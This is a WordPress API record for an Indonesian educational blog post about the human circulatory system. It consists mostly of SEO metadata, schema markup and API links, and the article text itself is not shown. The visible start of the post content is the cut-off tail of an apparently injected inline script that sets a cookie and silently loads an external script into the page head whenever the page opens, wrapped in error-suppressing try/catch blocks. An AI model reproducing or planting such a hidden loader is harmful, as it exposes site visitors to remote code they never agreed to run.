expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n<div class=\"host-lopnbnfpjmgpbppclhclehhgafnifija\" style=\"position: relative; z-index: 2147483647;\"><\/div>\n<div class=\"host-lopnbnfpjmgpbppclhclehhgafnifija\" style=\"position: relative; z-index: 2147483647;\"><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, jenis-jenis, organ, hingga gangguan atau penyakit yang dapat menyerang sistem peredaran darah manusia! &#8212; Tubuh manusia tersusun atas berbagai organ dan komponen yang saling bekerja sama membentuk satu-kesatuan sistem. Terdapat banyak sistem dalam tubuh manusia yang menjaga agar manusia tetap hidup sehat dan berfungsi sebagaimana [&hellip;]<\/p>\n","protected":false},"author":39,"featured_media":851,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_edit_lock":["1770802046:1"],"_edit_last":["1"],"_oembed_b9110e7dbd7d52feb8d4aae82350bfe1":["{{unknown}}"],"_oembed_6d67e26154a65a526bf389f4cf5b5aea":["<blockquote class=\"wp-embedded-content\" data-secret=\"UlxrpLTdcV\"><a href=\"https:\/\/www.gramedia.com\/literasi\/urutan-sistem-peredaran-darah-besar\/\">Urutan Sistem Peredaran Darah Besar<\/a><\/blockquote><iframe class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"&#8220;Urutan Sistem Peredaran Darah Besar&#8221; &#8212; Gramedia Literasi\" src=\"https:\/\/www.gramedia.com\/literasi\/urutan-sistem-peredaran-darah-besar\/embed\/#?secret=crVNQfkbP9#?secret=UlxrpLTdcV\" data-secret=\"UlxrpLTdcV\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>"],"_oembed_time_6d67e26154a65a526bf389f4cf5b5aea":["1707282733"],"_aioseo_title":[null],"_aioseo_description":["Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!"],"_aioseo_keywords":["a:0:{}"],"_aioseo_og_title":[null],"_aioseo_og_description":[null],"_aioseo_og_article_section":[""],"_aioseo_og_article_tags":["a:0:{}"],"_aioseo_twitter_title":[null],"_aioseo_twitter_description":[null],"_knawatfibu_url":["https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png"],"_wp_old_date":["2024-02-07","2025-02-12"],"_linker_next_update":["1769393445"],"_yoast_wpseo_primary_category":[""],"_yoast_wpseo_focuskw":["sistem peredaran darah"],"_yoast_wpseo_metadesc":["Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!"],"_yoast_wpseo_linkdex":["53"],"_yoast_wpseo_content_score":["60"],"_yoast_wpseo_estimated-reading-time-minutes":["9"]},"categories":[1],"tags":[4],"class_list":["post-851","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-uncategorized","tag-edukasi"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Sistem Peredaran Darah Manusia: Macam, Fungsi, &amp; Gangguan<\/title>\n<meta name=\"description\" content=\"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sistem Peredaran Darah Manusia: Macam, Fungsi, &amp; Gangguan\" \/>\n<meta property=\"og:description\" content=\"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia\" \/>\n<meta property=\"og:site_name\" content=\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-11T02:00:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-02-11T09:22:45+00:00\" \/>\n<meta name=\"author\" content=\"Kenya Swawikanti\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Kenya Swawikanti\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia\",\"name\":\"Sistem Peredaran Darah Manusia: Macam, Fungsi, & Gangguan\",\"isPartOf\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage\"},\"thumbnailUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png\",\"datePublished\":\"2026-02-11T02:00:34+00:00\",\"dateModified\":\"2026-02-11T09:22:45+00:00\",\"author\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4\"},\"description\":\"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!\",\"breadcrumb\":{\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage\",\"url\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png\",\"contentUrl\":\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.altaglobalschool.com\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sistem Peredaran Darah Manusia: Macam, Fungsi, &#038; Gangguan\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#website\",\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/\",\"name\":\"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4\",\"name\":\"Kenya Swawikanti\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g\",\"caption\":\"Kenya Swawikanti\"},\"url\":\"https:\/\/www.altaglobalschool.com\/blog\/author\/kenya-swawikanti\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sistem Peredaran Darah Manusia: Macam, Fungsi, & Gangguan","description":"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia","og_locale":"en_US","og_type":"article","og_title":"Sistem Peredaran Darah Manusia: Macam, Fungsi, & Gangguan","og_description":"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!","og_url":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia","og_site_name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","article_published_time":"2026-02-11T02:00:34+00:00","article_modified_time":"2026-02-11T09:22:45+00:00","author":"Kenya Swawikanti","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Kenya Swawikanti","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia","url":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia","name":"Sistem Peredaran Darah Manusia: Macam, Fungsi, & Gangguan","isPartOf":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage"},"image":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage"},"thumbnailUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png","datePublished":"2026-02-11T02:00:34+00:00","dateModified":"2026-02-11T09:22:45+00:00","author":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4"},"description":"Apa itu sistem peredaran darah manusia? Yuk, pelajari pengertian, fungsi, organ, hingga gangguan atau penyakit yang dapat menyerangnya!","breadcrumb":{"@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#primaryimage","url":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png","contentUrl":"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/6df174b0-fd06-4904-8885-93c356c637d1.png"},{"@type":"BreadcrumbList","@id":"https:\/\/www.altaglobalschool.com\/blog\/sistem-peredaran-darah-manusia#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.altaglobalschool.com\/blog"},{"@type":"ListItem","position":2,"name":"Sistem Peredaran Darah Manusia: Macam, Fungsi, &#038; Gangguan"}]},{"@type":"WebSite","@id":"https:\/\/www.altaglobalschool.com\/blog\/#website","url":"https:\/\/www.altaglobalschool.com\/blog\/","name":"Informasi Seputar Pengasuhan dan Pendidikan Anak Usia Dini","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.altaglobalschool.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/ec07dc48bd3f7b1b0a859f2e6b39dfe4","name":"Kenya Swawikanti","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.altaglobalschool.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f5152af1744ccff8f9a866690d57ca2a936b6b97ab958a1da22815a6fd62ef48?s=96&d=mm&r=g","caption":"Kenya Swawikanti"},"url":"https:\/\/www.altaglobalschool.com\/blog\/author\/kenya-swawikanti"}]}},"_links":{"self":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/851","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/users\/39"}],"replies":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/comments?post=851"}],"version-history":[{"count":9,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/851\/revisions"}],"predecessor-version":[{"id":2513,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/851\/revisions\/2513"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/posts\/851"}],"wp:attachment":[{"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/media?parent=851"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=851"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=851"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}